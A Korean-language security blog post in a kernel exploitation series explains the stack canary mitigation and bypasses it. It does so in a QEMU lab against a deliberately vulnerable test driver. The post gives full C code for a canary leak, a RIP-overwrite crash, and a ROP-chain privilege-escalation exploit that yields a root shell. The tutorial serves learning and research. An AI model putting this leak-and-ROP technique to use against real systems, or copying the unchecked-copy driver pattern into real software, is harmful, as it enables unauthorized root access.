[Research] Linux Kernel Exploit - Bypassing SSP

[Research] Linux Kernel Exploit - Bypassing SMAP

서론

해당 포스트에서는 Linux Kernel Basic 시리즈의 정보를 기반으로 하여 리눅스 커널에 적용되어 있는 보호기법(mitigation)을 하나씩 우회하여 공격하는 과정을 포스트하려고 한다. 해당 포스트에서는 SSP 보호기법을 주제로 하여 해당 보호기법이 어떠한 보호기법인지 이해하고 이를 우회하여 공격하는 방법을 작성하려고 한다.



SSP



SSP(Stack Smashing Protector)은 Stack에서의 지정된 버퍼 크기 이상의 데이터가 입력되어 실행흐름이 변조될 경우 버퍼와 Return Address 사이의 임의의 난수값을 설정해두어 함수가 종료된 후 해당 함수를 호출한 영역(Caller)으로 돌아가기 이전에 이를 확인하는 보호기법을 의미한다.


나에게 있어서는 스택 카나리라는 이름으로 더욱 익숙하다. 사실 해당 기법이 아이디어는 하나인데 별명(Stack Canary, Stack Cookie, Stack Guard…)은 운영체제에 따라서도 다르게 불리어지고 하니까 이름이 중요한 것 보다 아이디어에 집중하는 것이 좋을 것으로 판단된다. 이러한 인사이트를 나만의 경험으로 제시하기 위해서 재밌는(?) 부가설명을 덧붙히겠다.


상단에 제시된 그림의 경우는 버드박스(2018)라는 영화이다. 사람이 눈으로 확인할 수 없는 괴물이 나오는 영화인데 새를 데리고 다니면 새는 이러한 괴물을 감지하는 역할을 한다. 광산에서도 유독가스가 발생하면 예전에는 카나리아를 이용해서 위험성을 감지하고 대피하였다고 한다. 그래서 소프트웨어 입장에서는 공격상황에 대한 감지로 스택에 있는 카나리아라고 불린다고 이름을 들었던 것 같다. 제일 흥미로운 이름으로 지정되었으니까 앞으로는 스택 카나리라고 부르겠다.


실제 구현원리는 매우 직관적이며 간단하다. 버퍼와 Return Address 사이의 임의의 난수값을 설정해두어 이를 확인하는 원리이다. 그렇다면 스택 기반에서 오버 플로우를 발생시키기 이전 스택 카나리의 값을 공격자가 알 수 있는 환경이라고 하면 이를 고려하여 오버 플로우를 발생시키면 되는 것이다.



환경분석

start.sh

qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-cpu qemu64,smep,smap \

부팅 스크립트의 경우 다음과 같은 형태로 작성되어 있다. 적용된 보호기법을 확인해보면 KASLR의 경우는 비활성화 해두었으며 SMEP과 SMAP의 경우는 활성화 되어 있다.

환경분석에서는 기재할 수 없지만 디바이스 드라이버를 컴파일 할 경우 기본적으로 SSP가 활성화되어 컴파일되므로 모든 함수 에필로그에서 Stack Canary가 오염되었는 지 확인하는 로직이 자동적으로 추가된다.



바이너리 분석

디바이스 드라이버 소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <linux/input.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/device.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/string.h>

MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("SAMPLE");

static ssize_t test_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos);
static ssize_t test_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos);

struct file_operations test_fops = {
.read = test_read,
.write = test_write,
};

static struct miscdevice test_driver = {
.minor = MISC_DYNAMIC_MINOR,
.name = "test",
.fops = &test_fops,
};

static ssize_t test_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos) {
char arr[8] = { [0 ... 7] = 0 };
char *ptr;

ptr = (char *)kzalloc(count, GFP_KERNEL);
memcpy(ptr, arr, count);

copy_to_user(buf, ptr, count);

return 0;
}


static ssize_t test_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
char arr[8] = { [0 ... 7] = 0 };
char *ptr;

ptr = (char *)kmalloc(count, GFP_KERNEL);

copy_from_user(ptr, buf, count);
memcpy(arr, ptr, count);

printk("arr : %x", arr[count-1]);

return 0;
}


static int test_init(void) {
int result;

result = misc_register(&test_driver);

return 0;
}

static void test_exit(void) {
misc_deregister(&test_driver);
}

module_init(test_init);
module_exit(test_exit);

해당 소스코드의 경우 공격 벡터(attack vector)가 될 수 있는 디바이스 드라이버 파일의 소스코드이다. 소스코드를 확인해볼 경우 file_operations 구조체 내부에서 read, write 시스템 콜에 대응하는 동작들을 정의하고 있다.

디바이스 드라이버 파일을 토대로 read 시스템 콜을 호출하게 될 경우 test_read() 함수가 실행된다. 해당 함수가 실행될 경우 line33에 의하여 커널에서 메모리를 동적할당한 후 커널의 스택 버퍼에 있는 데이터를 복사해오는 것을 확인할 수 있다. 해당 로직에서 값을 복사하는 count가 공격자가 임의로 변경할 수 있기 때문에 커널 스택 버퍼에 있는 값들을 leak할 수 있다. 해당 시스템 호출을 통해서 stack canary를 알 수 있다.

디바이스 드라이버 파일을 토대로 write 시스템 콜을 호출하게 될 경우 test_wrtie() 함수가 실행된다. 해당 함수가 실행될 경우 line48에 의하여 유저영역의 메모리를 커널의 스택버퍼에 복사하기에 이를 통한 메모리 오염(memory corruption)이 가능하다. 결과적으로 return address를 조작할 수 있음으로 실행 흐름의 변조가 가능할 것으로 보여진다.



취약점 분석

바이너리 분석에서 사용자의 입력으로 부터 커널 스택의 정보를 알 수 있으며 실행흐름을 변조할 가능성이 있음을 확인하였다. 해당 디바이스 드라이버를 토대로 write 시스템 콜이 호출되게 될 경우 디바이스 드라이버의 경우 사용자의 입력(untrusted input)이 버퍼 오버플로우를 발생시키기 때문이다. 예상한 결과가 맞는가에 대해서 확인해볼 필요가 있다.


공격 코드(1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>

int main() {
int fd;
size_t *canary[6] = {0, };


fd = open("/dev/test", O_RDWR);

read(fd, canary, sizeof(canary));

printf("canary[0] = %lx\n", canary[0]);
printf("canary[1] = %lx\n", canary[1]);
printf("canary[2] = %lx\n", canary[2]);
printf("canary[3] = %lx\n", canary[3]);
printf("canary[4] = %lx\n", canary[4]);
printf("canary[5] = %lx\n", canary[5]);


close(fd);

return 0;
}

디바이스 드라이버를 제어하는 코드를 작성하였다. 디바이스에 해당하는 파일을 통해 read 시스템 콜을 호출함을 통해서 커널 스택의 정보를 유출(leak)해보려고 한다. 총 48바이트 크기의 데이터를 출력해봄으로 어떠한 부분이 카나리로 예상될 지 출력할 수 있다. 디바이스 드라이버의 test_read() 함수 내부의 버퍼의 크기는 8바이트이므로 충분한 크기의 정보를 출력한다는 것을 가정해서 진행해보겠다.


공격 결과(1)

qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
/ $ ./leak 
canary[0] = 0
canary[1] = 7f78bbec01f33a00
canary[2] = 30
canary[3] = 1
canary[4] = ffffffff811e311b
canary[5] = ffff88801d9ec900
/ $ ./leak 
canary[0] = 0
canary[1] = 875b1e91019ab700
canary[2] = 30
canary[3] = 1
canary[4] = ffffffff811e311b
canary[5] = ffff88801d9eca00
/ $ ./leak 
canary[0] = 0
canary[1] = c24444f6245e5700
canary[2] = 30
canary[3] = 1
canary[4] = ffffffff811e311b
canary[5] = ffff88801d9ecb00
/ $ ./leak 
canary[0] = 0
canary[1] = 92fb1f83c3973e00
canary[2] = 30
canary[3] = 1
canary[4] = ffffffff811e311b
canary[5] = ffff88801d9ec900
/ $ ./leak 
canary[0] = 0
canary[1] = 2ed61794e0235300
canary[2] = 30
canary[3] = 1
canary[4] = ffffffff811e311b
canary[5] = ffff88801d9eca00

작성하였던 코드를 토대로 커널 스택 버퍼에 있는 데이터를 유출(leak)해본 결과 다음과 같은 형태이다. 사실 디버깅을 진행하면 어떠한 위치가 스택 카나리에 해당하는 값인지 명확히 알 수 있지만 현재의 결과를 보았을 때 커널 버퍼의 사이즈는 8이며 이후의 값부터 가장 규칙성을 띄지 않는 스택 카나리라고 판단되는 값은 canary[1]에 해당하는 값으로 판단된다.

또한 위에서는 제시하지 않았지만 이전 포스트에서 제시하였던 방법과 동일하게 return address를 확인해본 결과 버퍼에서 40바이트 떨어진 곳이 return address로 판단된다.


공격 코드(2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>

int main() {
int fd;
size_t *canary[6] = {0, };
size_t payload[20] = {0, };


fd = open("/dev/test", O_RDWR);


// STEP1. Leak Stack Canary
read(fd, canary, sizeof(canary));

printf("canary[0] = %lx\n", canary[0]);
printf("canary[1] = %lx\n", canary[1]);
printf("canary[2] = %lx\n", canary[2]);
printf("canary[3] = %lx\n", canary[3]);
printf("canary[4] = %lx\n", canary[4]);
printf("canary[5] = %lx\n", canary[5]);


// STEP2. Corrupt Stack Memory
payload[0] = canary[1];
payload[1] = canary[1];
payload[2] = canary[1];
payload[3] = canary[1];
payload[4] = canary[1];
payload[5] = 0x4343434343434343;

write(fd, payload, sizeof(payload));


close(fd);

return 0;
}

공격 결과(2)

qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
/ $ ./crash 
canary[0] = 0
canary[1] = 77aa91d07abac300
canary[2] = 30
canary[3] = 1
canary[4] = ffffffff811e311b
canary[5] = ffff88801d9ec300
[    3.942545] arr : 0
[    3.942953] general protection fault: 0000 [#1] SMP NOPTI
[    3.944977] CPU: 0 PID: 70 Comm: crash Tainted: G           O      5.8.5 #1
[    3.946180] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[    3.948119] RIP: 0010:0x4343434343434343
[    3.949110] Code: Bad RIP value.
[    3.955544] RSP: 0018:ffffc9000019fed8 EFLAGS: 00000286
[    3.955840] RAX: 0000000000000000 RBX: 77aa91d07abac300 RCX: 0000000000000000
[    3.956295] RDX: 0000000000000000 RSI: ffffffff82b2bba0 RDI: ffffffff82b2bfa0
[    3.956783] RBP: 77aa91d07abac300 R08: 0000000030203a20 R09: 0000000000000007
[    3.957227] R10: 0000000000000046 R11: ffffffff82b2bba7 R12: 77aa91d07abac300
[    3.957691] R13: 00000000000000a0 R14: ffffc9000019ff10 R15: 00007ffdbbfb26a0
[    3.958258] FS:  000000000168b880(0000) GS:ffff88801f000000(0000) knlGS:0000000000000000
[    3.958848] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    3.960591] CR2: 000000000168db28 CR3: 000000001da40000 CR4: 00000000003006f0
[    3.961172] Call Trace:
[    3.962152]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[    3.964479] Modules linked in: test(O)
[    3.965730] ---[ end trace e9e73822d90c8f9d ]---
[    3.967058] RIP: 0010:0x4343434343434343
[    3.967454] Code: Bad RIP value.
[    3.967779] RSP: 0018:ffffc9000019fed8 EFLAGS: 00000286
[    3.968107] RAX: 0000000000000000 RBX: 77aa91d07abac300 RCX: 0000000000000000
[    3.968623] RDX: 0000000000000000 RSI: ffffffff82b2bba0 RDI: ffffffff82b2bfa0
[    3.969116] RBP: 77aa91d07abac300 R08: 0000000030203a20 R09: 0000000000000007
[    3.969657] R10: 0000000000000046 R11: ffffffff82b2bba7 R12: 77aa91d07abac300
[    3.970123] R13: 00000000000000a0 R14: ffffc9000019ff10 R15: 00007ffdbbfb26a0
[    3.970625] FS:  000000000168b880(0000) GS:ffff88801f000000(0000) knlGS:0000000000000000
[    3.971228] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    3.971760] CR2: 000000000168db28 CR3: 000000001da40000 CR4: 00000000003006f0
[    3.972372] Kernel panic - not syncing: Fatal exception
[    3.973145] Kernel Offset: disabled
[    3.973878] Rebooting in 1 seconds..
qemu-system-x86_64: Trying to execute code outside RAM or ROM at 0x0000000081400220
This usually means one of the following happened:

(1) You told QEMU to execute a kernel for the wrong machine type, and it crashed on startup (eg trying to run a raspberry pi kernel on a versatilepb QEMU machine)
(2) You didn't give QEMU a kernel or BIOS filename at all, and QEMU executed a ROM full of no-op instructions until it fell off the end
(3) Your guest kernel has a bug and crashed by jumping off into nowhere

This is almost always one of the first two, so check your command line and that you are using the right type of kernel for this machine.
If you think option (3) is likely then you can try debugging your guest with the -d debug options; in particular -d guest_errors will cause the log to include a dump of the guest register state at this point.

Execution cannot continue; stopping here.

작성한 공격코드를 토대로 공격을 수행해본 결과 의도하였던 바와 같이 실행흐름을 담당하는 레지스터 RIP가 변조된 것을 확인할 수 있었다. 만약 스택 카나리의 값이 일치하지 않았다면 다음과 같은 형태의 커널 패닉이 아닌 Stack Smashing Detected와 같은 다른 형태의 정보를 보여주었을 것이다. 그러므로 추출한 카나리의 값은 정상적인 형태의 카나리이며 SSP를 우회하여 실행흐름을 변조할 수 있다는 결론을 내렸다.



취약점 공격

분석과정을 통해 사용자의 입력(untrusted input)을 통해 실행흐름을 변조할 수 있음을 확인하였다. 이러한 정보들을 토대로 공격자에게 유의미한 형태의 공격이 될 수 있도록 어떠한 형태로 공격을 진행할 것인가에 대해서 시나리오를 작성하겠다.

가장 파급력있고 공격자에게 자유도가 높은 방법은 리눅스(linux) 기반의 커널을 공격하는 것이기에 루트 권한의 쉘(shell)을 획득하는 것으로 볼 수 있다. 다음과 같은 공격이 이루어지기 위해서는 우선적으로 진행되어야 하는 것이 유저 권한을 루트 권한으로 상승(권한 상승)을 일으켜야 한다.


공격 시나리오

STEP1. stack canary 유출(leak) 
STEP2. commit_creds(prepare_kernel_cred(0))을 통한 권한 상승
STEP3. 사용자 모드(user mode)로의 전환
STEP4. shell 획득

해당 시나리오의 경우 지금까지 작성해왔던 일반적인 익스플로잇과 유사하다. SMEP, SMAP이 적용되어 있으므로 시나리오에 해당하는 페이로드를 Kernel ROP를 기반으로 하여 진행하며 SSP가 적용되어 있으므로 stack canary의 값을 고려하여 공격을 수행하여야 한다. 그러므로 우선적으로 STEP1에 해당하는 leak을 먼저 수행하여 해당 값을 토대로 페이로드를 작성해야 한다.


가젯 구성

가젯 구성의 경우 Bypassing SMEP에 작성한 형태와 동일하기에 해당 과정의 기재는 생략하도록 하겠다.


가젯 추출

가젯 추출의 경우 Bypassing SMEP에 작성한 형태와 동일하기에 해당 과정의 기재는 생략하도록 하겠다.


공격코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>

struct register_val {
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
} __attribute__((packed));

struct register_val rv;

void backup_rv(void) {
asm("mov rv+8, cs;"
"pushf; pop rv+16;"
"mov rv+24, rsp;"
"mov rv+32, ss;"
);
}

void shell() {
execl("/bin/sh", "sh", NULL);
}

int main() {
int fd;
size_t payload[20] = {0, };
size_t *canary[2] = {0, };
int i = 0;

void *commit_creds = 0xffffffff8108e9f0;
void *prepare_kernel_cred = 0xffffffff8108ec20;

fd = open("/dev/test", O_RDWR);

read(fd, canary, sizeof(canary));
printf("canary = %lx\n", canary[1]);

backup_rv();

payload[i++] = canary[1];
payload[i++] = canary[1];
payload[i++] = canary[1];
payload[i++] = canary[1];
payload[i++] = canary[1];
payload[i++] = 0xffffffff813fb9bc; // pop rdi; ret;
payload[i++] = 0;
payload[i++] = prepare_kernel_cred;
payload[i++] = 0xffffffff813f4eca; // pop rcx; ret;
payload[i++] = 0;
payload[i++] = 0xffffffff81b2413b; // mov rdi, rax; rep movs ...; ret;
payload[i++] = commit_creds;
payload[i++] = 0xffffffff81c00f58; // swapgs; ret;
payload[i++] = 0xffffffff810252b2; // iretq; ret;
payload[i++] = &shell;
payload[i++] = rv.user_cs;
payload[i++] = rv.user_rflags;
payload[i++] = rv.user_rsp;
payload[i++] = rv.user_ss;

write(fd, payload, sizeof(payload));

close(fd);

return 0;
}

공격결과

qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
/ $ whoami
user
/ $ ./exploit 
canary = c6fd32469a343500
/ # whoami
root
/ # 



참고

b30w0lf님의 운영체제(Operating System)
DREAMHACK - Linux Kernel Exploit
INFLEARN - 리눅스 커널 해킹. A부터 Z까지
https://www.lazenca.net/pages/viewpage.action?pageId=25624859
https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/linux-x64-calling-convention-stack-frame



한줄평

🗡️ ❌ 🛡️